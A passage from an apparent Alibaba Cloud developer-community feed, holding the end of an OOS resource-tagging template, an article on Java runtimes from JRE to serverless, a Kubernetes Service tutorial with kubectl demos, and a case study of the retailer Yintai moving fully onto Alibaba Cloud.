                    },
                    "Properties": {
                        "Service": "ECS",
                        "API": "TagResources",
                        "Parameters": {
                            "Tags": [
                                {
                                    "Key": "{{ tagKey }}",
                                    "Value": "{{ newTagValue }}"
                                }
                            ],
                            "ResourceType": "Instance",
                            "ResourceIds": [
                                "{{ACS::TaskLoopItem}}"
                            ]
                        }
                    },
                    "Loop": {
                        "MaxErrors": "100%",
                        "Concurrency": 20,
                        "Items": "{{DescribeInstances_ECS.Instances}}"
                    }
                },
                {
                    "OnError": "ACS::NEXT",
                    "Name": "DescribeInstances_REDIS",
                    "Action": "ACS::ExecuteApi",
                    "Description": {
                        "zh-cn": "通过标签过滤REDIS实例",
                        "en": "filter redis(kvstore) instances by tags"
                    },
                    "Properties": {
                        "Service": "R-kvstore",
                        "API": "DescribeInstances",
                        "AutoPaging": true,
                        "Parameters": {
                            "Tags": [
                                {
                                    "Key": "{{ tagKey }}",
                                    "Value": "{{ tagValue }}"
                                }
                            ]
                        }
                    },
                    "Outputs": {
                        "Instances": {
                            "Type": "List",
                            "ValueSelector": "Instances.KVStoreInstance[].InstanceId"
                        }
                    }
                },
                {
                    "Name": "TagResources_REDIS_Instances",
                    "Action": "ACS::ExecuteAPI",
                    "Description": {
                        "zh-cn": "更新REDIS实例标签",
                        "en": "tag redis instances"
                    },
                    "Properties": {
                        "Service": "R-kvstore",
                        "API": "TagResources",
                        "Parameters": {
                            "Tags": [
                                {
                                    "Key": "{{ tagKey }}",
                                    "Value": "{{ newTagValue }}"
                                }
                            ],
                            "ResourceType": "Instance",
                            "ResourceIds": [
                                "{{ACS::TaskLoopItem}}"
                            ]
                        }
                    },
                    "Loop": {
                        "MaxErrors": "100%",
                        "Concurrency": 20,
                        "Items": "{{DescribeInstances_REDIS.Instances}}"
                    }
                }
            ],
            "Outputs": {}
        }

        创建执行:
        image.png
        执行详情:
        image.png

        当执行状态显示成功,表示运维任务已完成。
        当执行状态显示失败,您可以单击操作列下的详情查看执行日志,并根据日志信息分析和调整执行内容。

        可以根据本文的代码修改为自己需要的cases。

        相关文档

        标记您的 RDS 资源
        标记您的 SLB 资源
        标记您的 ECS 资源
        如何检查您的资源是否具有您指定的标签?
        基于标签批量管理资源
        支持标签产品及其文档
        标签的最佳实践
        通过OOS基于标签批量启动ECS实例实践
        如何使用标签控制对ECS 资源的访问?
        使用标签检索资源
        创建资源标签分组设置
        ECS全局标签实践
        ECS控制台云资源分组管理---全局标签

        ]]>
        云计算时代 Java 运行时不止 JRE-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 云计算时代 Java 运行时不止 JRE

        前言

        Java 语言于 1995 年由 Sun 公司首次发布,次年发布了 Java 开发工具包也就是常说 Java Development Kit 简称 JDK1.0,截止到目前为止最新的版本为 JDK13.0。JRE(Java Running Environment)即 Java 运行环境,包括 JVM、核心类库、核心配置工具库等。

        在云计算时代,部分开发者对 Java 运行环境的了解还局限在比较早期的基础设施角度,限制了很多架构设计,也造成了很多不必要研发投入。

        本文尝试基于自己的见闻梳理一下,在当下的技术条件下,Java 的运行环境有哪些?以便于开发者可以选择一个相对更合理的基础设施上,开展研发工作。

        1.0 单机时代

        单机时代也是 Java 语言诞生的年度,标准的 JRE 是比较好的选择,有些开发者喜欢用 JDK 做运行环境,有其合理性。

        在这个时代或者这种模式下,依然有很多选择,包括 JRE、JDK 的不同发行商的不同版本,主流的包括 Oracle、Sun 的版本,以及由 IBM、SAP、微软等发布基于OpenJDK的版本。整体基本兼容,但受一些商业版权、安全、发行商环境等原因,还是略有一些差别。另外,还有一支流是国产 CPU 厂商及操作系统厂商发布的 JDK。

        Java 开发者都熟悉 JVM(Java Virtual Machine),但很多人不了解的是不同发行版中的 JVM 核心可能是不同的。有兴趣的同学可以阅读一下《深入理解Java虚拟机:JVM高级特性与最佳实践》。

        在这里推荐大家试用下一下阿里发布的 OpenJDK : Alibaba Dragonwell。它是一款免费的, 生产就绪型Open JDK 发行版,提供长期支持,包括性能增强和安全修复。Alibaba Dragonwell作为Java应用的基石,支撑了阿里经济体内所有的Java业务,完全兼容 Java SE 标准,可以在任何常用操作系统(包括 Linux、Windows 和 macOS)上开发 Java 应用程序, 运行时生产环境选择Alibaba Dragonwell。GitHub地址

        2.0 Web 时代

        Web 时代最知名就是那只叫 Tomcat 的猫,属于 Apache 基金会的项目。Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器。虽然它具有处理HTML页面的功能,但大家更多是将其作为Servlet和JSP容器。(http://tomcat.apache.org/index.html

        这一次进步的意义在于:开发者可以专注于应用逻辑开发,而不用关心网络通讯以及如何让应用作为一个服务来运行,相关职责转交给了 Tomcat。

        对等的应用服务器还有WebLogic、JBoss 等等。

        3.0 大数据时代

        大数据时代最知名的系统当推 Hadoop。其核心是借鉴Google的那篇MapReduce论文里所说的思想:Our abstraction is inspired by the map and reduce primitives present in Lisp and many other functional languages。

        Hadoop 框架是由 Java 开发的,虽然 MapReduce 应用程序不一定用 Java 开发,但血溶于水的 Java 是比较好的选择。尤其那个著名的示例 WordCount 就是基于 Java 编写。(http://hadoop.apache.org/docs/r1.2.1/mapred_tutorial.html

        这一次进步的意义在于:Java开发者可以不用关心数据处理框架,只需要聚焦在如何用 MapReduce 的思想来拆解要做计算任务。

        对等的还有Apache Spark及这两年比较火的 Apache Flink。不过不同大数据框架的计算模型有差异。

        4.0 云计算时代

        如今我们处在云计算时代,面临的可选方案就多了很多。善用这些新的 Java 运行环境,会让开发者的效率有质的提升。

        4.0.1 伪云计算版

        伪云计算版就是买一台 ECS,在上面按照单机时代或者 web 时代的模式运行 Java 程序。这种模式的好处很明显。

        • 学习成本低,上手快。
        • 线下迁移线上速度快,几乎不需要多少改造。
        • 初始化阶段的货币化投入少。

        这种模式本质上是在利用云计算的虚拟化特性+硬件运维服务外包,对于开发者而言没有什么质的变化,还得不断的发明轮子。

        4.2 真云时代的运行时

        如今公有云厂商提供了很多更多封装的Java 运行环境,以期让开发者专注于更有价值的创造工作。下面以阿里云的产品为例来介绍,如何进一步将非核心业务的开发任务外包给运行环境。

        4.2.1 企业级分布式应用服务 EDAS

        企业级分布式应用服务(Enterprise Distributed Application Service, 简称 EDAS)以阿里巴巴中间件团队多款久经沙场的分布式产品作为核心基础组件,面向企业级云计算市场提供高可用分布式解决方案,是阿里巴巴企业级互联网架构解决方案的核心产品。EDAS 充分利用阿里云的资源管理和服务体系,引入阿里巴巴中间件整套成熟的分布式产品,帮助企业级客户轻松构建大型分布式应用服务系统。

        EDAS是一个应用托管和微服务管理的 PaaS 平台,提供应用开发、部署、监控、运维等全栈式解决方案,同时支持 Spring Cloud、Dubbo 等微服务运行环境。开发者可以选择WAR、JAR、镜像等不同模式来部署引用。

        这种模式的好处是:开发者在企业级平台上编写业务代码,代码一经部署,整个系统即拥有了企业级的高可用能力,省去了自选、自学、自建、自管的行业标杆级方案的学费和时间。

        4.2.2 Web应用托管服务(WEB+)

        Web应用托管服务(Web+)是一款用来运行并管理Web类、移动类和API类应用程序的PaaS产品,可以使用Java编写并构建应用程序。在无需管理底层基础设施的情况下,即可简单、高效、安全而又灵活的对应用进行部署、伸缩、调整和监控。

        开发者只需要关注应用代码,即可在零服务器管理和配置的情况下发布一个应用部署环境。在团队内部,可通过文件共享或源代码管理的方式快速分发配置描述文件给所有成员从而快速拉起部署环境。若使用的是开源技术,可使用Web+官方或开源提供方分发的公共配置描述文件来快速搭建测试或生产环境。

        这种模式的好处是:开发者可以集中精力编写代码,将管理和配置服务器、数据库、负载均衡器、防火墙和网络等工作交由Web+代劳,相对于 EDAS 会轻量一些。

        5.0 函数即服务

        函数即服务的核心是让开发者进一步聚焦业务代码,其中Serverless 应用引擎略重,函数计算至轻。

        5.1 Serverless 应用引擎

        Serverless 应用引擎(Serverless App Engine,简称 SAE)是面向应用的 Serverless PaaS 平台,帮助 PaaS 层用户免运维 IaaS,按需使用,按量计费,实现低门槛微服务应用上云,有效解决成本及效率问题。支持 Spring Cloud、Dubbo 和 HSF 等流行的开发框架,真正实现了 Serverless 架构和微服务架构的完美融合。除了微服务应用外,后续还会支持更多其它类型的应用。

        区别于其它 Serverless 产品,SAE 支持 Spring Cloud、Dubbo 等开发框架,真正实现了 Serverless 架构 + 微服务架构的完美结合。支持 WAR、JAR、镜像三种方式部署,让零容器基础的初级用户也能享受 Kubernetes 的技术红利。

        5.2 函数计算

        函数计算(Function Compute)是一个事件驱动的全托管 Serverless 计算服务。开发者无需管理服务器等基础设施,只需编写代码并上传。函数计算会为开发者准备好计算资源,并以弹性、可靠的方式运行代码。

        当前云计算的抽象粒度大多在机器级别,要管理和使用这些计算资源仍然有不小的门槛和成本。阿里云函数计算为解决计算成本和效率问题而生,将计算服务的抽象粒度提高到了函数级别,打造无服务器概念的应用设计模式。

        使用函数计算,开发者将业务代码部署到函数计算,并以事件驱动的方式触发函数执行,服务就可以平稳运行。开发者无需再为环境部署、服务器扩容、服务器宕机等问题烦恼,函数计算提供弹性的扩容机制,并按量计费。此外,函数计算提供日志查询、性能监控和报警等功能,帮助快速定位问题、排查故障。

        这种模式的意义在于:让开发者回归到函数层面,关注入参、出参、业务逻辑。当然额外的代价是,需要开发者重新基于新的基础设施,来构思服务架构,很多既有的经验都需要重构。

        示例如下:

        package example;
        import com.aliyun.fc.runtime.Context;
        import com.aliyun.fc.runtime.StreamRequestHandler;
        import java.io.IOException;
        import java.io.InputStream;
        import java.io.OutputStream;
        public class HelloFC implements StreamRequestHandler {
            @Override
            public void handleRequest(
                    InputStream inputStream, OutputStream outputStream, Context context) throws IOException {
                // 在此编写业务代码
                outputStream.write(new String("hello world").getBytes());
            }
        }'
        // pom.xml
        <dependency>
            <groupId>com.aliyun.fc.runtime</groupId>
            <artifactId>fc-java-core</artifactId>
            <version>1.0.0</version>
        </dependency>
        ]]>
        从零开始入门 | Kubernetes 中的服务发现与负载均衡-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者 | 阿里巴巴技术专家  溪恒

        一、需求来源

        为什么需要服务发现

        在 K8s 集群里面会通过 pod 去部署应用,与传统的应用部署不同,传统应用部署在给定的机器上面去部署,我们知道怎么去调用别的机器的 IP 地址。但是在 K8s 集群里面应用是通过 pod 去部署的, 而 pod 生命周期是短暂的。在 pod 的生命周期过程中,比如它创建或销毁,它的 IP 地址都会发生变化,这样就不能使用传统的部署方式,不能指定 IP 去访问指定的应用。

        另外在 K8s 的应用部署里,之前虽然学习了 deployment 的应用部署模式,但还是需要创建一个 pod 组,然后这些 pod 组需要提供一个统一的访问入口,以及怎么去控制流量负载均衡到这个组里面。比如说测试环境、预发环境和线上环境,其实在部署的过程中需要保持同样的一个部署模板以及访问方式。因为这样就可以用同一套应用的模板在不同的环境中直接发布。

        Service:Kubernetes 中的服务发现与负载均衡

        最后应用服务需要暴露到外部去访问,需要提供给外部的用户去调用的。我们上节了解到 pod 的网络跟机器不是同一个段的网络,那怎么让 pod 网络暴露到去给外部访问呢?这时就需要服务发现。

        1

        在 K8s 里面,服务发现与负载均衡就是 K8s Service。上图就是在 K8s 里 Service 的架构,K8s Service 向上提供了外部网络以及 pod 网络的访问,即外部网络可以通过 service 去访问,pod 网络也可以通过 K8s Service 去访问。

        向下,K8s 对接了另外一组 pod,即可以通过 K8s Service 的方式去负载均衡到一组 pod 上面去,这样相当于解决了前面所说的复发性问题,或者提供了统一的访问入口去做服务发现,然后又可以给外部网络访问,解决不同的 pod 之间的访问,提供统一的访问地址。

        二、用例解读

        下面进行实际的一个用例解读,看 pod K8s 的 service 要怎么去声明、怎么去使用?

        Service 语法

        2

        首先来看 K8s Service 的一个语法,上图实际就是 K8s 的一个声明结构。这个结构里有很多语法,跟之前所介绍的 K8s 的一些标准对象有很多相似之处。比如说标签 label 去做一些选择、selector 去做一些选择、label 去声明它的一些 label 标签等。

        这里有一个新的知识点,就是定义了用于 K8s Service 服务发现的一个协议以及端口。继续来看这个模板,声明了一个名叫 my-service 的一个 K8s Service,它有一个 app:my-service 的 label,它选择了 app:MyApp 这样一个 label 的 pod 作为它的后端。

        最后是定义的服务发现的协议以及端口,这个示例中我们定义的是 TCP 协议,端口是 80,目的端口是 9376,效果是访问到这个 service 80 端口会被路由到后端的 targetPort,就是只要访问到这个 service 80 端口的都会负载均衡到后端 app:MyApp 这种 label 的 pod 的 9376 端口。

        创建和查看 Service

        如何去创建刚才声明的这个 service 对象,以及它创建之后是什么样的效果呢?通过简单的命令:

        • kubectl apply -f service.yaml

        或者是

        • kubectl created -f service.yaml

        上面的命令可以简单地去创建这样一个 service。创建好之后,可以通过:

        • kubectl discribe service

        去查看 service 创建之后的一个结果。

        3

        service 创建好之后,你可以看到它的名字是 my-service。Namespace、Label、Selector 这些都跟我们之前声明的一样,这里声明完之后会生成一个 IP 地址,这个 IP 地址就是 service 的 IP 地址,这个 IP 地址在集群里面可以被其它 pod 所访问,相当于通过这个 IP 地址提供了统一的一个 pod 的访问入口,以及服务发现。

        这里还有一个 Endpoints 的属性,就是我们通过 Endpoints 可以看到:通过前面所声明的 selector 去选择了哪些 pod?以及这些 pod 都是什么样一个状态?比如说通过 selector,我们看到它选择了这些 pod 的一个 IP,以及这些 pod 所声明的 targetPort 的一个端口。

        4

        实际的架构如上图所示。在 service 创建之后,它会在集群里面创建一个虚拟的 IP 地址以及端口,在集群里,所有的 pod 和 node 都可以通过这样一个 IP 地址和端口去访问到这个 service。这个 service 会把它选择的 pod 及其 IP 地址都挂载到后端。这样通过 service 的 IP 地址访问时,就可以负载均衡到后端这些 pod 上面去。

        当 pod 的生命周期有变化时,比如说其中一个 pod 销毁,service 就会自动从后端摘除这个 pod。这样实现了:就算 pod 的生命周期有变化,它访问的端点是不会发生变化的。

        集群内访问 Service

        在集群里面,其他 pod 要怎么访问到我们所创建的这个 service 呢?有三种方式:

        • 首先我们可以通过 service 的虚拟 IP 去访问,比如说刚创建的 my-service 这个服务,通过 kubectl get svc 或者 kubectl discribe service 都可以看到它的虚拟 IP 地址是 172.29.3.27,端口是 80,然后就可以通过这个虚拟 IP 及端口在 pod 里面直接访问到这个 service 的地址。
        • 第二种方式直接访问服务名,依靠 DNS 解析,就是同一个 namespace 里 pod 可以直接通过 service 的名字去访问到刚才所声明的这个 service。不同的 namespace 里面,我们可以通过 service 名字加“.”,然后加 service 所在的哪个 namespace 去访问这个 service,例如我们直接用 curl 去访问,就是 my-service:80 就可以访问到这个 service。
        • 第三种是通过环境变量访问,在同一个 namespace 里的 pod 启动时,K8s 会把 service 的一些 IP 地址、端口,以及一些简单的配置,通过环境变量的方式放到 K8s 的 pod 里面。在 K8s pod 的容器启动之后,通过读取系统的环境变量比读取到 namespace 里面其他 service 配置的一个地址,或者是它的端口号等等。比如在集群的某一个 pod 里面,可以直接通过 curl $ 取到一个环境变量的值,比如取到 MY_SERVICE_SERVICE_HOST 就是它的一个 IP 地址,MY_SERVICE 就是刚才我们声明的 MY_SERVICE,SERVICE_PORT 就是它的端口号,这样也可以请求到集群里面的 MY_SERVICE 这个 service。

        Headless Service

        service 有一个特别的形态就是 Headless Service。service 创建的时候可以指定 clusterIP:None,告诉 K8s 说我不需要 clusterIP(就是刚才所说的集群里面的一个虚拟 IP),然后 K8s 就不会分配给这个 service 一个虚拟 IP 地址,它没有虚拟 IP 地址怎么做到负载均衡以及统一的访问入口呢?

        它是这样来操作的:pod 可以直接通过 service_name 用 DNS 的方式解析到所有后端 pod 的 IP 地址,通过 DNS 的 A 记录的方式会解析到所有后端的 Pod 的地址,由客户端选择一个后端的 IP 地址,这个 A 记录会随着 pod 的生命周期变化,返回的 A 记录列表也发生变化,这样就要求客户端应用要从 A 记录把所有 DNS 返回到 A 记录的列表里面 IP 地址中,客户端自己去选择一个合适的地址去访问 pod。

        5

        可以从上图看一下跟刚才我们声明的模板的区别,就是在中间加了一个 clusterIP:None,即表明不需要虚拟 IP。实际效果就是集群的 pod 访问 my-service 时,会直接解析到所有的 service 对应 pod 的 IP 地址,返回给 pod,然后 pod 里面自己去选择一个 IP 地址去直接访问。

        向集群外暴露 Service

        前面介绍的都是在集群里面 node 或者 pod 去访问 service,service 怎么去向外暴露呢?怎么把应用实际暴露给公网去访问呢?这里 service 也有两种类型去解决这个问题,一个是 NodePort,一个是 LoadBalancer。

        • NodePort 的方式就是在集群的 node 上面(即集群的节点的宿主机上面)去暴露节点上的一个端口,这样相当于在节点的一个端口上面访问到之后就会再去做一层转发,转发到虚拟的 IP 地址上面,就是刚刚宿主机上面 service 虚拟 IP 地址。

         

        • LoadBalancer 类型就是在 NodePort 上面又做了一层转换,刚才所说的 NodePort 其实是集群里面每个节点上面一个端口,LoadBalancer 是在所有的节点前又挂一个负载均衡。比如在阿里云上挂一个 SLB,这个负载均衡会提供一个统一的入口,并把所有它接触到的流量负载均衡到每一个集群节点的 node pod 上面去。然后 node pod 再转化成 ClusterIP,去访问到实际的 pod 上面。

        三、操作演示

        下面进行实际操作演示,在阿里云的容器服务上面进去体验一下如何使用 K8s Service。

        创建 Service

        我们已经创建好了一个阿里云的容器集群,然后并且配置好本地终端到阿里云容器集群的一个连接。

        首先可以通过 kubectl get cs ,可以看到我们已经正常连接到了阿里云容器服务的集群上面去。

        6

        今天将通过这些模板实际去体验阿里云服务上面去使用 K8s Service。有三个模板,首先是 client,就是用来模拟通过 service 去访问 K8s 的 service,然后负载均衡到我们的 service 里面去声明的一组 pod 上。

        7

        K8s Service 的上面,跟刚才介绍一样,我们创建了一个 K8s Service 模板,里面 pod,K8s Service 会通过前端指定的 80 端口负载均衡到后端 pod 的 80 端口上面,然后 selector 选择到 run:nginx 这样标签的一些 pod 去作为它的后端。

        8

        然后去创建带有这样标签的一组 pod,通过什么去创建 pod 呢?就是之前所介绍的 K8s deployment,通过 deployment 我们可以轻松创建出一组 pod,然后上面声明 run:nginx 这样一个label,并且它有两个副本,会同时跑出来两个 pod。

        9

        先创建一组 pod,就是创建这个 K8s deployment,通过 kubectl create -f service.yaml。这个 deployment 也创建好了,再看一下 pod 有没有创建出来。如下图看到这个 deployment 所创建的两个 pod 都已经在 running 了。通过 kubectl get pod -o wide 可以看到 IP 地址。通过 -l,即 label 去做筛选,run=nginx。如下图所示可以看到,这两个 pod 分别是 10.0.0.135 和 10.0.0.12 这样一个 IP 地址,并且都是带 run=nginx 这个 label 的。

        10

        下面我们去创建 K8s service,就是刚才介绍的通过 service 去选择这两个 pod。这个 service 已经创建好了。

        11

        根据刚才介绍,通过 kubectl describe svc 可以看到这个 service 实际的一个状态。如下图所示,刚才创建的 nginx service,它的选择器是 run=nginx,通过 run=nginx 这个选择器选择到后端的 pod 地址,就是刚才所看到那两个 pod 的地址:10.0.0.12 和 10.0.0.135。这里可以看到 K8s 为它生成了集群里面一个虚拟 IP 地址,通过这个虚拟 IP 地址,它就可以负载均衡到后面的两个 pod 上面去。

        12

        现在去创建一个客户端的 pod 实际去感受一下如何去访问这个 K8s Service,我们通过 client.yaml 去创建客户端的 pod,kubectl get pod 可以看到客户端 pod 已经创建好并且已经在运行中了。

        13

        通过 kubectl exec 到这个 pod 里面,进入这个 pod 去感受一下刚才所说的三种访问方式,首先可以直接去访问这个 K8s 为它生成的这个 ClusterIP,就是虚拟 IP 地址,通过 curl 访问这个 IP 地址,这个 pod 里面没有装 curl。通过 wget 这个 IP 地址,输入进去测试一下。可以看到通过这个去访问到实际的 IP 地址是可以访问到后端的 nginx 上面的,这个虚拟是一个统一的入口。

        14

        第二种方式,可以通过直接 service 名字的方式去访问到这个 service。同样通过 wget,访问我们刚才所创建的 service 名 nginx,可以发现跟刚才看到的结果是一样的。

        15

        在不同的 namespace 时,也可以通过加上 namespace 的一个名字去访问到 service,比如这里的 namespace 为 default。

        16

        最后我们介绍的访问方式里面还可以通过环境变量去访问,在这个 pod 里面直接通过执行 env 命令看一下它实际注入的环境变量的情况。看一下 nginx 的 service 的各种配置已经注册进来了。

        17

        可以通过 wget 同样去访问这样一个环境变量,然后可以访问到我们的一个 service。

        18

        介绍完这三种访问方式,再看一下如何通过 service 外部的网络去访问。我们 vim 直接修改一些刚才所创建的 service。

        19

        最后我们添加一个 type,就是 LoadBalancer,就是我们前面所介绍的外部访问的方式。

        20

        然后通过 kubectl apply,这样就把刚刚修改的内容直接生效在所创建的 service 里面。

        21

        现在看一下 service 会有哪些变化呢?通过 kubectl get svc -o wide,我们发现刚刚创建的 nginx service 多了一个 EXTERNAL-IP,就是外部访问的一个 IP 地址,刚才我们所访问的都是 CLUSTER-IP,就是在集群里面的一个虚拟 IP 地址。

        22

        然后现在实际去访问一下这个外部 IP 地址 39.98.21.187,感受一下如何通过 service 去暴露我们的应用服务,直接在终端里面点一下,这里可以看到我们直接通过这个应用的外部访问端点,可以访问到这个 service,是不是很简单?

        23

        我们最后再看一下用 service 去实现了 K8s 的服务发现,就是 service 的访问地址跟 pod 的生命周期没有关系。我们先看一下现在的 service 后面选择的是这两个 pod IP 地址。

        24

        我们现在把其中的一个 pod 删掉,通过 kubectl delete 的方式把前面一个 pod 删掉。

        25

        我们知道 deployment 会让它自动生成一个新的 pod,现在看 IP 地址已经变成 137。

        26

        现在再去 describe 一下刚才的 service,如下图,看到前面访问端点就是集群的 IP 地址没有发生变化,对外的 LoadBalancer 的 IP 地址也没有发生变化。在所有不影响客户端的访问情况下,后端的一个 pod IP 已经自动放到了 service 后端里面。

        27

        这样就相当于在应用的组件调用的时候可以不用关心 pod 在生命周期的一个变化。

        以上就是所有演示。

        四、架构设计

        最后是对 K8s 设计的一个简单的分析以及实现的一些原理。

        Kubernetes 服务发现架构

        28

        如上图所示,K8s 服务发现以及 K8s Service 是这样整体的一个架构。

        K8s 分为 master 节点和 worker 节点:

        • master 里面主要是 K8s 管控的内容;
        • worker 节点里面是实际跑用户应用的一个地方。

        在 K8s master 节点里面有 APIServer,就是统一管理 K8s 所有对象的地方,所有的组件都会注册到 APIServer 上面去监听这个对象的变化,比如说我们刚才的组件 pod 生命周期发生变化,这些事件。

        这里面最关键的有三个组件:

        • 一个是 Cloud Controller Manager,负责去配置 LoadBalancer 的一个负载均衡器给外部去访问;
        • 另外一个就是 Coredns,就是通过 Coredns 去观测 APIServer 里面的 service 后端 pod 的一个变化,去配置 service 的 DNS 解析,实现可以通过 service 的名字直接访问到 service 的虚拟 IP,或者是 Headless 类型的 Service 中的 IP 列表的解析;
        • 然后在每个 node 里面会有 kube-proxy 这个组件,它通过监听 service 以及 pod 变化,然后实际去配置集群里面的 node pod 或者是虚拟 IP 地址的一个访问。

        实际访问链路是什么样的呢?比如说从集群内部的一个 Client Pod3 去访问 Service,就类似于刚才所演示的一个效果。Client Pod3 首先通过 Coredns 这里去解析出 ServiceIP,Coredns 会返回给它 ServiceName 所对应的 service IP 是什么,这个 Client Pod3 就会拿这个 Service IP 去做请求,它的请求到宿主机的网络之后,就会被 kube-proxy 所配置的 iptables 或者 IPVS 去做一层拦截处理,之后去负载均衡到每一个实际的后端 pod 上面去,这样就实现了一个负载均衡以及服务发现。

        对于外部的流量,比如说刚才通过公网访问的一个请求。它是通过外部的一个负载均衡器 Cloud Controller Manager 去监听 service 的变化之后,去配置的一个负载均衡器,然后转发到节点上的一个 NodePort 上面去,NodePort 也会经过 kube-proxy 的一个配置的一个 iptables,把 NodePort 的流量转换成 ClusterIP,紧接着转换成后端的一个 pod 的 IP 地址,去做负载均衡以及服务发现。这就是整个 K8s 服务发现以及 K8s Service 整体的结构。

        后续进阶

        后续再进阶部分我们还会更加深入地去讲解 K8s Service 的实现原理,以及在 service 网络出问题之后,如何去诊断以及去修复的技巧。

        本文总结

        本文的主要内容就到此为止了,这里为大家简单总结一下:

        1. 为什么云原生的场景需要服务发现和负载均衡,
        2. 在 Kubernetes 中如何使用 Kubernetes 的 Service 做服务发现和负载均衡
        3. Kubernetes 集群中 Service 涉及到的组件和大概实现原理

        相信经过本文的学习与把握,大家能够通过 Kubernetes Service 将复杂的企业级应用快速并标准地编排起来。

        “阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

        ]]>
        银泰100%云化在双十一的表现-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 银泰IDC历史

        在2016年之前,银泰以IDC为核心支撑全国商场的各业务系统,拥有200左右节点的虚拟化集群以及多达10多套数据库集群。它和很多传统百货行业一样,有着许多不断变化的内部和外部的技术需求,同时面对目前的IDC环境,已经无法支撑未来5年的业务规划。当时运维团队规模在6人左右,却逐步演变成了6人的“救火小分队”。

        IDC缺少一种可扩展的能力,它和云的最大区别在于API。从运维角度以及研发角度来看待这个API,没有API会很低效,无法用程序去触碰,无法做IaC(Infrastructure as Code),反而是大量的脚本和人工化操作,对于扩展性方面,投入更多的是物理服务器的上架。如果想在其上引入DevOps,也是非常困难。

        公有云和私有云

        银泰为何选择了公有云而并非私有云,核心问题是人。从整体收益角度来看,不值得投入私有云。私有云需要引入非常高的技术力量,比如经验丰富的OpenStack工程师,需要投入大量的私有云开发和维护人员,从而你还需要为整个私有云的稳定性负责,以及定制开发增量需求。这里面私有云的水平完全取决于工程师的水平,虽然可以发展到一定的规模,但仍需要时间。所以银泰更倾向于公有云的选择。

        银泰上云的过程

        在2016年开始,第一个上云的是银泰的会员业务,随之是营销业务和其他底层业务。这是传统百货的一个颠覆过程,在这里银泰使用的阿里云,将所有应用迁移至EDAS(企业级分布式应用服务)中,EDAS可以提供一整套运维和研发的解决方案,包括应用开发、部署、监控、运维等全栈式解决方案,同时支持 Spring Cloud、Dubbo 等微服务运行环境。这使得上云变得更简单了。

        将全部应用迁移到EDAS中之后,因为银泰的业务特点,会有一些应用仍然无法迁移到与之一致的环境当中,甚至还有很多Windows Server,很多三方应用,很多生态相关的应用。面对这些场景,银泰在云上划分了多个VPC,将应用按照核心、非核心、生态、三方系统等角色进行打标,并分布在多个VPC当中,好处是安全,每类业务系统在自己独立的隔离环境中。

        剩下的最后一部分应用是不值得上云的“长尾”应用,这部分应用从业务角度开始梳理,并解除与业务的关联,直到最终下线处理。

        上云最难的不在于应用部分,而在于数据库部分,银泰的数据库分为两大类,分别是核心交易数据库(包括会员、营销、商品等)和支撑型数据库(包括OA、财务、BI报表等)。银泰拥有10几套数据库集群,存储过程2000多个。数据库难在存储过程上,业务非常复杂,存储过程很难拆解。而对于这部分的数据库维护来说,就已经非常复杂了,银泰需要超高水平的DBA才能够维护好这如此庞大的数据库集群,而数据库的水平也取决于DBA的水平。当然,有一部分存储过程已经完全通过代码级别剥离掉了,但剩余部分一定不是不停的上人去解决,这一定是需要技术去解决的复杂性问题。而银泰针对不同的数据库类型,设计了两步走的策略——先将核心数据库上云,再搬支撑型数据库。核心系统的搬迁应用了阿里云工具对原有数据库业务逻辑代码进行了优化。支撑型数据库应用PPAS数据库,其能够在兼容传统数据库存储过程中,最大程度的降低成本。

        2017年夏天,银泰在百货行业里第一个推出了有偿会员卡服务,云上数据库坚挺地支撑住了线上会员大量增加带来的冲击。2018年,核心营销数据库、支撑型数据库、行政类数据库也相继搬迁到云上。银泰不仅可以应用PolarDB最先进的技术,也将运维人员进行解放。

        直到2019年9月30日,银泰100%云化项目完全落地,这标志着银泰是整个百货行业中全球首家完全架构在云上的百货公司,通过云近一步放大业务的支撑能力,是性能、稳定性、安全上的全面升级。

        做好上云技术上的选型

        单纯拿数据库来说,银泰是很传统的百货公司,使用的都是传统10年前流行的数据库技术,面对上云该如何选择呢?

        第一,要根据业务情况一起看,不能只看技术,不能一味追求高大上的技术,要看能否通过技术去解决业务上的问题,未来3-5年能否可持续演进

        第二,选择最适合的技术,而并非最好的。适合你的就是最佳的。

        第三,是终态还是临时方案。终态一定是可持续演进的,而临时是追求快速和高效。

        银泰的2000多个存储过程,只剥离了不到20%,剩下的80%的工作量和复杂性通过ADAM迁移上云,以及PPAS高度兼容的特性解决了这一难题。

        云+场的远程管理

        Wakanda是银泰云化过程中直接构建在云上的新零售运维管理平台,通过结合阿里云IoTHub的底层能力,互联全国所有商场的IoT以及网络等基础设施。这是银泰商场IT同学工作模式的一个转变,把现场运维工作搬到了云端处理。

        之前商场的IT同学会处理各种商场内遇到的技术问题,比如收银的POS机坏了、网络故障了等等。现在可直接远程化操作之前的所有工作内容,并且工作效率较之前提高将近80%,节省出来这些时间可让IT同学近一步放大自己的能力,由之前被动处理重复性事物转变为商场的运营和抉择,把重心放到业务上而不是重复性的技术问题上。这是工作模式的一个转变,也是从被动执行到主动抉择的一个转变。

        阿里云助力银泰上云最佳实践

        阿里云全球技术服务部(GTS)的全球应急响应中心(GOC),内含一整套应急体系,包括监控、预警、应急响应、预案、故障定级、事后复盘等。银泰通过与GOC合作,将阿里巴巴这一套应急体系延伸到了银泰复杂的新零售场景当中。银泰通过Wakanda监控商场的业务,双十一期间在Wakanda稳定性中控台中可实时看到大促发生的各种问题,在监控告警之前就通过盯盘提前感知问题的发生。随后通过Wakanda联动GOC背后的应急体系与预案能力进行故障收口。在这次双十一曾多次避免故障发生,在故障产生之前就有效预警和解决了问题。而Wakanda是集成了阿里云IoTHub,通过SLS为底层日志技术,构建了银泰新零售复杂场景下的一体化监控系统。

        银泰已经完成100%云化,靠云计算去放大业务的支撑能力,是性能、稳定性、安全整体的提升。阿里云服务团队提供除了GOC的应急监控,还提供了大促期间完整的云上护航服务。这次双十一的护航,充分感受到了云上护航服务的伟大之处,从对客户的系统架构前期摸底,到稳定性的提升方案,再到应急响应,感受到的了阿里云工程师的专业和使命必达的精神。
        这次双十一通过阿里云GOC的能力以及阿里云护航服务,助力了银泰SRE团队完成了一次巨大的挑战,也沉淀了大促保障的最佳实践。

        银泰上云后的收益

        很明显,以下是银泰在上云后所看到的一些收益:

